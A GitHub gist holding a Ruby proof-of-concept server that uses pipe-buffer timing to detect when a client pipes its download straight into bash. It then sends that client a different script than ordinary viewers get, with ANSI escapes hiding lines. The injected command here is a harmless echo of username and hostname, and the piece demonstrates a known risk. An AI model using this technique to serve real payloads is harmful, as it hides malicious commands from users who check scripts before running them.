Last active
May 23, 2026 13:27
-
-
Save coderobe/3b1fdc9994e67babf2e9d3c0e724b619 to your computer and use it in GitHub Desktop.
experimental curl | bash detection and script injection
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'socket' | |
| require 'timeout' | |
| # Start a TCP server on port 8080 | |
| server = TCPServer.new('0.0.0.0', 8080) | |
| puts "Server is running on port 8080..." | |
| # Increase the pipe buffer size significantly (e.g., 3MB) | |
| PIPE_BUFFER_SIZE = 3 * 1024 * 1024 + 1024 # 3MB + 1KB | |
| loop do | |
| # Accept incoming client connections | |
| Thread.start(server.accept) do |client| | |
| begin | |
| # Read the client's request headers | |
| request = '' | |
| while line = client.gets | |
| request += line | |
| break if line == "\r\n" | |
| end | |
| # Send HTTP response headers with chunked transfer encoding | |
| response_headers = <<~HEREDOC | |
| HTTP/1.1 200 OK\r | |
| Content-Type: text/plain\r | |
| Transfer-Encoding: chunked\r | |
| \r | |
| HEREDOC | |
| client.write(response_headers) | |
| client.flush | |
| # Generate a large initial chunk to fill the pipe buffer | |
| filler_line = "\e[2K" | |
| filler_repeat = (PIPE_BUFFER_SIZE / filler_line.bytesize) + 1 | |
| filler = filler_line * filler_repeat | |
| trap_duration = 1 | |
| initial_chunk = "# Hi there! \e[2K\n" | |
| client.write("%x\r\n%s\r\n" % [initial_chunk.bytesize, initial_chunk]) | |
| client.flush | |
| # Send a big chunk and measure the time (connection benchmark) | |
| script_chunk = "#\e[1A#{filler}\n" | |
| start_time = Time.now | |
| client.write("%x\r\n%s\r\n" % [script_chunk.bytesize, script_chunk]) | |
| client.flush | |
| end_time = Time.now | |
| write_duration = end_time - start_time | |
| puts "Measurement chunk took #{write_duration}s" | |
| trap_chunk = "sleep #{write_duration+trap_duration};#\e[2K\e[1A\n" | |
| client.write("%x\r\n%s\r\n" % [trap_chunk.bytesize, trap_chunk]) | |
| client.flush | |
| # Attempt to send another chunk after setting the shell trap | |
| script_chunk = "#\e[1A#{filler}\e[1A\n" | |
| write_succeeded = false | |
| start_time = Time.now | |
| begin | |
| Timeout.timeout(write_duration*2+trap_duration) do | |
| client.write("%x\r\n%s\r\n" % [script_chunk.bytesize, script_chunk]) | |
| client.flush | |
| write_succeeded = true | |
| end | |
| puts "Trapped chunk within margin. (#{(write_duration*2+trap_duration) - (Time.now - start_time)}s left)" | |
| rescue Timeout::Error | |
| puts "Trapped chunk took #{Time.now - start_time} (#{(Time.now - start_time) - write_duration}s slower!)" | |
| write_succeeded = false | |
| end | |
| # If the write timed out, it's probably piping to bash | |
| # ... unless the write timed out but the benchmark was *faster* than 0.3s, then I/O is just being janky | |
| if !write_succeeded && write_duration > 0.3 | |
| # Write blocked or timed out; assume it's piping to bash | |
| is_piping_to_bash = true | |
| else | |
| # Client is reading data quickly; assume it's NOT piping to bash | |
| is_piping_to_bash = false | |
| end | |
| rescue Errno::EPIPE, Errno::ECONNRESET | |
| # Client has closed the connection | |
| is_piping_to_bash = false | |
| end | |
| if is_piping_to_bash | |
| # Send the rest of the shell script | |
| script_chunk = "echo Hello, $(whoami) on $(hostname -s);\n" | |
| client.write("%x\r\n%s\n" % [script_chunk.bytesize, script_chunk]) | |
| # Indicate the end of the chunks | |
| #client.write("0\r\n\r\n") | |
| puts "Sent shell script to client piping to bash." | |
| else | |
| # Send a benign response | |
| message = "Hello, world!\n" | |
| client.write("%x\r\n%s\r\n" % [message.bytesize, message]) | |
| # Indicate the end of the chunks | |
| client.write("0\r\n\r\n") | |
| puts "Sent benign response to regular client." | |
| end | |
| # Close the client connection | |
| client.close | |
| end | |
| end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment